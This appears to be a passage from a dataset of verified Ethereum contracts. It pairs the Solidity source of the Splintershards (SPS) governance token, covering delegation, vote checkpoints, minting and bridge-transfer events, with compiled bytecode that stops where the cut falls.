919080359060200190919080351515906020019091908035151590602001909190505061136b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114c7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116f1565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b61074360048080359060200190919050506116f7565b005b341561075057600080fd5b61076660048080359060200190919050506117b1565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061198e565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119ad565b005b341561082f57600080fd5b610837611a28565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a2d565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a33565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d4a565b005b34156108fc57600080fd5b610904612042565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e91906121ec565b506003805490506004541115610bad57610bac6003805490506116f7565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211158015610f9f5750818111155b8015610fac575060008114155b8015610fb9575060008214155b1515610fc457600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110309190612218565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111a75760016000858152602001908152602001600020600060038381548110151561110757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611187576001820191505b60045482141561119a57600192506111a8565b80806001019150506110d6565b5b5050919050565b600080600090505b600380549050811015611275576001600084815260200190815260200160002060006003838154811015156111e857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611268576001820191505b80806001019150506111b7565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112df612244565b600380548060200260200160405190810160405280929190818152602001828054801561136157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611317575b5050505050905090565b611373612258565b61137b612258565b60008060055460405180591061138e5750595b9080825280602002602001820160405250925060009150600090505b60055481101561144a578580156113e1575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806114145750848015611413575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561143d5780838381518110151561142857fe5b90602001906020020181815250506001820191505b80806001019150506113aa565b87870360405180591061145a5750595b908082528060200260200182016040525093508790505b868110156114bc57828181518110151561148757fe5b90602001906020020151848983038151811015156114a157fe5b90602001906020020181815250508080600101915050611471565b505050949350505050565b6114cf612244565b6114d7612244565b6000806003805490506040518059106114ed5750595b9080825280602002602001820160405250925060009150600090505b60038054905081101561164c5760016000868152602001908152602001600020600060038381548110151561153a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163f576003818154811015156115c257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fc57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611509565b8160405180591061165a5750595b90808252806020026020018201604052509350600090505b818110156116e957828181518110151561168857fe5b9060200190602002015184828151811015156116a057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611672565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173157600080fd5b60038054905081603282111580156117495750818111155b8015611756575060008114155b8015611763575060008214155b151561176e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561186657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118d257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361198785611d4a565b5050505050565b600061199b848484612048565b90506119a6816117b1565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e757600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6f57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ac857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b2257600080fd5b600092505b600380549050831015611c0d578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b5a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c005783600384815481101515611bb257fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c0d565b8280600101935050611b27565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da657600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e1157600080fd5b8560008082815260200190815260200160002060030160009054906101000a900460ff16151515611e4157600080fd5b6000808881526020019081526020016000209550611e5e876110c9565b94508480611e995750600086600201805460018160011615610100020316600290049050148015611e985750611e97866001015461219a565b5b5b156120395760018660030160006101000a81548160ff021916908315150217905550841515611ed75785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168660010154876002016040518082805460018160011615610100020316600290048015611f805780601f10611f5557610100808354040283529160200191611f80565b820191906000526020600020905b815481529060010190602001808311611f6357829003601f168201915b505091505060006040518083038185876187965a03f19250505015611fd157867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612038565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff0219169083151502179055508415156120375785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415151561207157600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061213092919061226c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b600062015180600754014211156121bb574260078190555060006008819055505b600654826008540111806121d457506008548260085401105b156121e257600090506121e7565b600190505b919050565b8154818355818115116122135781836000526020600020918201910161221291906122ec565b5b505050565b81548183558181151161223f5781836000526020600020918201910161223e91906122ec565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ad57805160ff19168380011785556122db565b828001600101855582156122db579182015b828111156122da5782518255916020019190600101906122bf565b5b5090506122e891906122ec565b5090565b61230e91905b8082111561230a5760008160009055506001016122f2565b5090565b905600a165627a7a7230582061d97df6cd7fe87779d9fa28992d2fb80b4429a67017241e906d53439973c7c90029 | {"success": true, "error": null, "results": {}} | 10,343 |
0x00813e3421e1367353bfe7615c7f7f133c89df74 | /**
*Submitted for verification at Etherscan.io on 2021-10-03
*/
pragma solidity ^0.5.16;
interface IStakeModifier {
function getVotingPower(address user, uint256 votes) external view returns(uint256);
}
contract SPS {
/// @notice EIP-20 token name for this token
string public constant name = "Splintershards";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "SPS";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Initial number of tokens in circulation
uint256 public totalSupply = 0;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/// @notice Admin can update admin, minter and stake modifier
address public admin;
/// @notice Minter can call mint() function
address public minter;
/// @notice Interface for receiving voting power data
IStakeModifier public stakeModifier;
/**
* @dev Modifier to make a function callable only by the admin.
*/
modifier adminOnly() {
require(msg.sender == admin, "Only admin");
_;
}
/**
* @dev Modifier to make a function callable only by the minter.
*/
modifier minterOnly() {
require(msg.sender == minter, "Only minter");
_;
}
/// @notice Emitted when changing admin
event SetAdmin(address indexed newAdmin, address indexed oldAdmin);
/// @notice Emitted when changing minter
event SetMinter(address indexed newMinter, address indexed oldAdmin);
/// @notice Event used for cross-chain transfers
event BridgeTransfer(address indexed sender, address indexed receiver, uint256 amount, string externalAddress);
/// @notice Emitted when stake modifier address is updated
event SetStakeModifier(address indexed newStakeModifier, address indexed oldStakeModifier);
/**
* @notice Construct a new Comp token
* @param adminAddress The address with admin rights
* @param minterAddress The address with minter rights
* @param stakeModifierAddress The address of stakeModifier contract
*/
constructor(address adminAddress, address minterAddress, address stakeModifierAddress) public {
admin = adminAddress;
minter = minterAddress;
stakeModifier = IStakeModifier(stakeModifierAddress);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint256) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint256(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "SPS::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint256) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 rawAmount) public returns (bool) {
uint96 amount = safe96(rawAmount, "SPS::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 rawAmount) public returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "SPS::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "SPS::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "SPS::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "SPS::delegateBySig: invalid nonce");
require(now <= expiry, "SPS::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
uint96 votes = nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
return getModifiedVotes(account, votes);
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint256 blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "SPS::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
uint96 votes = checkpoints[account][nCheckpoints - 1].votes;
return getModifiedVotes(account, votes);
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
uint96 votes = checkpoints[account][lower].votes;
return getModifiedVotes(account, votes);
}
/**
* @notice Determines the number of votes an account has after modifications by the StakeModifier
* @param account The address of the account to check
* @param votes The initial, unmodified number of votes, read from storage
*/
function getModifiedVotes(address account, uint96 votes) internal view returns (uint96) {
if (address(stakeModifier) == address(0)){
return votes;
}
return safe96(stakeModifier.getVotingPower(account, votes), "SPS::getModifiedVotes: amount exceeds 96 bits");
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "SPS::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "SPS::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "SPS::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "SPS::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "SPS::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "SPS::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "SPS::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
/**
* @notice Set new admin address
* @param newAdmin New admin address
*/
function setAdmin(address newAdmin) external adminOnly {
emit SetAdmin(newAdmin, admin);
admin = newAdmin;
}
/**
* @notice Set new minter address
* @param newMinter New minter address
*/
function setMinter(address newMinter) external adminOnly {
emit SetMinter(newMinter, minter);
minter = newMinter;
}
/**
* @notice Set new stake modifier address
* @param newStakeModifier New stake modifer contract address
*/
function setStakeModifier(address newStakeModifier) external adminOnly {
emit SetStakeModifier(newStakeModifier, address(stakeModifier));
stakeModifier = IStakeModifier(newStakeModifier);
}
/**
* @notice Mint additional tokens
* @param toAccount Account receiving new tokens
* @param amount Amount of minted tokens
*/
function mint(address toAccount, uint256 amount) external minterOnly {
_mint(toAccount, amount);
}
/**
* @notice Mint additional tokens
* @param account The address of the account to check
* @param amount The amount of tokens minted
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
totalSupply += uint96(amount);
balances[account] = safe96(uint256(balances[account]) + amount, "SPS::_mint: amount exceeds 96 bits");
emit Transfer(address(0), account, amount);
}
/**
* @notice Transfer tokens to cross-chain bridge
* @param bridgeAddress The address of the bridge account
* @param rawAmount The amount of tokens transfered
* @param externalAddress The address on another chain
*/
function bridgeTransfer(address bridgeAddress, uint256 rawAmount, string calldata externalAddress) external returns(bool) {
emit BridgeTransfer(msg.sender, bridgeAddress, rawAmount, externalAddress);
transfer(bridgeAddress, rawAmount);
}
/**
* @notice Transfer tokens from address to cross-chain bridge
* @param sourceAddress The address of the source account
* @param bridgeAddress The address of the bridge account
* @param rawAmount The amount of tokens transfered
* @param externalAddress The address on another chain
*/
function bridgeTransferFrom(address sourceAddress, address bridgeAddress, uint256 rawAmount, string calldata externalAddress) external returns(bool) {
emit BridgeTransfer(sourceAddress, bridgeAddress, rawAmount, externalAddress);
transferFrom(sourceAddress, bridgeAddress, rawAmount);
}
} | 0x608060405234801561001057600080fd5b50600436106101c45760003560e01c806373761828116100f9578063c3cda52011610097578063e7a324dc11610071578063e7a324dc14610b40578063f1127ed814610b5e578063f851a44014610bf5578063fca3b5aa14610c3f576101c4565b8063c3cda52014610a05578063dd62ed3e14610a7e578063e2a1443914610af6576101c4565b806395d89b41116100d357806395d89b41146107cd5780639ee42e9514610850578063a9059cbb1461092b578063b4b5ea5714610991576101c4565b8063737618281461063c578063782d6fe1146106f75780637ecebe0014610775576101c4565b806336eae89e116101665780635c19a95c116101405780635c19a95c146104f85780636fcfff451461053c578063704b6c02146105a057806370a08231146105e4576101c4565b806336eae89e146103e257806340c10f1914610426578063587cde1e14610474576101c4565b806318160ddd116101a257806318160ddd146102fc57806320606b701461031a57806323b872dd14610338578063313ce567146103be576101c4565b806306fdde03146101c9578063075461721461024c578063095ea7b314610296575b600080fd5b6101d1610c83565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102115780820151818401526020810190506101f6565b50505050905090810190601f16801561023e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610254610cbc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102e2600480360360408110156102ac57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce2565b604051808215151515815260200191505060405180910390f35b610304610e83565b6040518082815260200191505060405180910390f35b610322610e89565b6040518082815260200191505060405180910390f35b6103a46004803603606081101561034e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea5565b604051808215151515815260200191505060405180910390f35b6103c6611147565b604051808260ff1660ff16815260200191505060405180910390f35b610424600480360360208110156103f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061114c565b005b6104726004803603604081101561043c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112cf565b005b6104b66004803603602081101561048a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113a0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113d3565b005b61057e6004803603602081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113e0565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611403565b005b610626600480360360208110156105fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611586565b6040518082815260200191505060405180910390f35b6106dd6004803603606081101561065257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561069957600080fd5b8201836020820111156106ab57600080fd5b803590602001918460018302840111640100000000831117156106cd57600080fd5b90919293919293905050506115f5565b604051808215151515815260200191505060405180910390f35b6107436004803603604081101561070d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116a3565b60405180826bffffffffffffffffffffffff166bffffffffffffffffffffffff16815260200191505060405180910390f35b6107b76004803603602081101561078b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aea565b6040518082815260200191505060405180910390f35b6107d5611b02565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108155780820151818401526020810190506107fa565b50505050905090810190601f1680156108425780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6109116004803603608081101561086657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156108cd57600080fd5b8201836020820111156108df57600080fd5b8035906020019184600183028401116401000000008311171561090157600080fd5b9091929391929390505050611b3b565b604051808215151515815260200191505060405180910390f35b6109776004803603604081101561094157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611beb565b604051808215151515815260200191505060405180910390f35b6109d3600480360360208110156109a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff